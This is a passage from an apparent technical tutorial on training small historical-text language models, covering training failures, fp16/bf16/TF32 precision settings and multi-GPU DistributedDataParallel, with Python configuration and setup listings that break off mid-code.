&lt;p&gt;&lt;a href=&#34;#fig7&#34; class=&#34;figure-ref&#34;&gt;Figure 7&lt;/a&gt; shows the actual training experience: 99 total runs with 24 completions. The failures were largely data-driven - OCR and encoding issues, uneven sequence lengths, and sensitivity to learning-rate warmup - and a few were plain memory pressure from early, less conservative settings. The code stabilized early; the data and knobs took time.&lt;/p&gt;
&lt;p&gt;This iterative process is typical in language model development - the &amp;ldquo;sophisticated&amp;rdquo; system shown here is the result of learning from these failures and gradually improving the training pipeline. The successful runs exhibit stable loss curves and appropriate learning rate schedules, demonstrating that the final configuration performs well on historical text processing tasks.&lt;/p&gt;
&lt;p&gt;Most importantly, this experience reinforces a fundamental truth in machine learning: &lt;strong&gt;data quality is still king&lt;/strong&gt;. No amount of sophisticated architecture, GPU optimization, or training infrastructure can overcome poor data quality. The &amp;ldquo;garbage in, garbage out&amp;rdquo; principle remains as true for language models as it was for the earliest machine learning systems. Our 75% failure rate was primarily due to data issues – such as inconsistent formatting, OCR errors, and encoding problems - not technical limitations. This is why Part 2&amp;rsquo;s focus on data cleaning and tokenization was so crucial to our success.&lt;/p&gt;
&lt;h3 id=&#34;32-precision-and-performance-configuration&#34;&gt;3.2 Precision and Performance Configuration&lt;/h3&gt;
&lt;p&gt;The system includes precision and performance configuration options that can be tuned based on available hardware. Mixed-precision training uses lower-precision (fp16/bf16) for most operations while keeping full precision for critical computations, providing significant memory savings and speed improvements with minimal impact on quality.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Understanding fp16 and bf16: The Precision Trade-off&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To understand why precision matters for language model training, we need to look at how computers represent numbers. Standard floating-point numbers use 32 bits (float32), but we can use fewer bits to save memory and increase speed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;fp16 (Half Precision)&lt;/strong&gt;: Uses 16 bits to represent numbers, cutting memory usage in half and enabling faster computation. However, it has a smaller range of representable numbers, which can cause &amp;ldquo;overflow&amp;rdquo; (numbers too large) or &amp;ldquo;underflow&amp;rdquo; (numbers too small) during training.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;bf16 (Brain Float 16)&lt;/strong&gt;: Also uses 16 bits, but with a different bit layout that matches float32&amp;rsquo;s exponent range. This means it can represent the same range of large and small numbers as float32, but with less precision for very small decimal values.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Why bf16 is better for language models:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;bf16 provides better numerical stability than fp16, especially for large language models, reducing the likelihood of overflow and underflow that can cause training instability. The key difference is that bf16 can represent the same range of numbers as float32 (from very small to very large), while fp16 has a much smaller range. This is crucial for language models because:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Gradient magnitudes vary widely&lt;/strong&gt; - Some gradients are very small (close to zero) while others are large&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attention weights&lt;/strong&gt; - The softmax operations in attention can produce very small numbers that FP16 might round to zero&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Learning rate scaling&lt;/strong&gt; - Modern optimizers like AdamW work with gradients of varying magnitudes&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When gradients become too small and are rounded to zero (underflow), the model stops learning effectively. When they become too large (overflow), training becomes unstable. bf16&amp;rsquo;s wider range helps prevent both issues.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Understanding precision and performance settings:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The configuration in &lt;a href=&#34;#listing6&#34; class=&#34;listing-ref&#34;&gt;Listing 6&lt;/a&gt; toggles the levers that matter on consumer hardware: TF32 for faster matmuls, AMP (prefer bf16) for stability and memory cuts, &lt;code&gt;torch.compile&lt;/code&gt; for an extra boost after warmup, and sequence/batch sizes sized to your VRAM. Used together, these commonly halve activation memory and yield 2-3x speedups versus full-precision baselines.&lt;/p&gt;
&lt;figure id=&#34;listing6&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Runtime/precision knobs (A30 optimized)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;enable_tf32&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;enable_amp&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;amp_dtype&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bf16&amp;#34;&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# bf16 on Ampere; fallback to fp16 if unsupported&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;enable_compile&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# torch.compile; set False to reduce memory usage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Conservative baseline (for broad hardware) - uncomment to use:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# &amp;#34;enable_tf32&amp;#34;: False,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# &amp;#34;enable_amp&amp;#34;: True,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# &amp;#34;amp_dtype&amp;#34;: &amp;#34;fp16&amp;#34;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Sequence/batch control&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;max_length&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;1024&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# increase tokens per step when VRAM allows&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;batch_size&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;,    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# per-GPU batch; raise if VRAM allows&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Conservative sequence/batch - uncomment to use:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# &amp;#34;max_length&amp;#34;: 768,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# &amp;#34;batch_size&amp;#34;: 8,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 6: Precision and Performance Configuration&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h4 id=&#34;key-gpu-configuration-settings&#34;&gt;&lt;strong&gt;Key GPU Configuration Settings&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;A few switches move the needle the most: enable TF32 on Ampere-class GPUs for a quick matrix-mul speedup; use AMP (bf16 where supported, fp16 otherwise) to halve activation memory; and turn on &lt;code&gt;torch.compile&lt;/code&gt; if you can afford the warmup to get another 1.2-1.5x after a few hundred steps. Keep the sequence length in line with VRAM (~512 tokens for 8GB, ~1024 for 16GB+), and scale the per-GPU batch size accordingly (think hundreds of MB per batch at these widths). The repo includes sensible presets so you can start conservative and dial up.&lt;/p&gt;
&lt;h4 id=&#34;321-real-world-performance-results&#34;&gt;3.2.1 Real-World Performance Results&lt;/h4&gt;
&lt;p&gt;On 2x A30s, the SLM lands around mid-20s MFU with ~210 ms/iter and ~18 GB per GPU, converging from ~10.4 loss to the mid-3s over the full run. The clean BPE tokenizer and precision stack keep math efficient, and DDP delivers the expected speedup over a single device.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Automatic Precision Detection and Memory Optimization:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The system also includes automatic precision detection and memory optimization during model initialization. The code snippet below shows how the system automatically selects the optimal precision format based on available hardware capabilities:&lt;/p&gt;
&lt;figure id=&#34;listing7&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Precision / TF32 knobs from config&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tf32 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;slm_config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;enable_tf32&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;backends&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;matmul&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;allow_tf32 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;bool&lt;/span&gt;(tf32)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;backends&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cudnn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;allow_tf32 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;bool&lt;/span&gt;(tf32)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;set_float32_matmul_precision(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;high&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; tf32 &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;medium&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use_amp &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;slm_config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;enable_amp&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;amp_dtype_cfg &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;slm_config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;amp_dtype&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bf16&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bf16_ok &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_bf16_supported()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; use_amp:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; amp_dtype_cfg &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;bf16&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; bf16_ok:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dtype &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;bfloat16&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dtype &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;float16&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dtype &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;float32&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 7: Precision Detection and Memory Optimization&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The TF32 configuration optimizes matrix operations for Ampere+ GPUs, delivering significant speedups while maintaining training stability.&lt;/p&gt;
&lt;h3 id=&#34;33-multi-gpu-training-with-distributed-data-parallel&#34;&gt;3.3 Multi-GPU Training with Distributed Data Parallel&lt;/h3&gt;
&lt;p&gt;The system supports multi-GPU training using PyTorch&amp;rsquo;s DistributedDataParallel (DDP) - each GPU hosts a full model replica, processes different batches in parallel, and synchronizes gradients automatically. PyTorch handles the inter‑GPU communication, so on two GPUs, you typically see near‑linear speedup (~2×) for these model sizes.&lt;/p&gt;
&lt;p&gt;Multi-GPU training improves throughput and shortens wall‑clock time by splitting work across devices. On our 2× A30 setup, we process 36 sequences in parallel (18 per GPU) instead of 18 on a single card, cutting Regular model training from ~56 hours to ~28–32 hours. It also offers operational flexibility: scale up or down based on the number of GPUs available.&lt;/p&gt;
&lt;p&gt;However, multi-GPU training introduces several challenges that can limit performance gains. The primary bottleneck is &lt;strong&gt;inter-GPU communication&lt;/strong&gt; - after each backward pass, gradients must be synchronized across all GPUs, which requires transferring large amounts of data. This communication overhead can become significant, especially with larger models and more GPUs.&lt;/p&gt;
&lt;p&gt;The performance of multi-GPU training heavily depends on the interconnect between GPUs. On NVIDIA systems, &lt;em&gt;InfiniBand&lt;/em&gt; provides the highest bandwidth and lowest latency for GPU-to-GPU communication, enabling near-linear scaling across many GPUs. &lt;em&gt;NVLink&lt;/em&gt; (found on high-end NVIDIA GPUs such as A100 and H100) provides direct GPU-to-GPU connections with very high bandwidth, making it ideal for 2-8 GPU setups. &lt;em&gt;PCIe&lt;/em&gt; connections are slower but more common in consumer and workstation systems.&lt;/p&gt;
&lt;p&gt;In AMD systems, &lt;em&gt;Infinity Fabric&lt;/em&gt; serves a role similar to NVLink, providing high-bandwidth interconnects between GPUs. AMD&amp;rsquo;s &lt;em&gt;MI200&lt;/em&gt; and &lt;em&gt;MI300&lt;/em&gt; series GPUs include Infinity Fabric links that enable efficient multi-GPU communication.&lt;/p&gt;
&lt;p&gt;In practice, scaling efficiency depends on the ratio of computation to communication. Our historical language models have relatively modest parameter counts (117M-354M), so communication overhead can be significant compared to computation time. This is why we see good scaling with 2 GPUs but diminishing returns with more GPUs - the communication overhead starts to dominate.&lt;/p&gt;
&lt;p&gt;DDP is more efficient than naive data parallelism because it reduces communication overhead and enables larger effective batch sizes, as shown in &lt;a href=&#34;#listing8&#34; class=&#34;listing-ref&#34;&gt;Listing 8&lt;/a&gt; below.&lt;/p&gt;
&lt;figure id=&#34;listing8&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# DDP setup (process group already initialized in main())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;RANK&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp_rank &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;RANK&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp_local_rank &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;LOCAL_RANK&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp_world_size &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;int&lt;/span&gt;(os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;WORLD_SIZE&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cuda:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp_local_rank&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;set_device(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;master_process &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp_rank &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;seed_offset &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp_rank
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;master_process &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;seed_offset &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
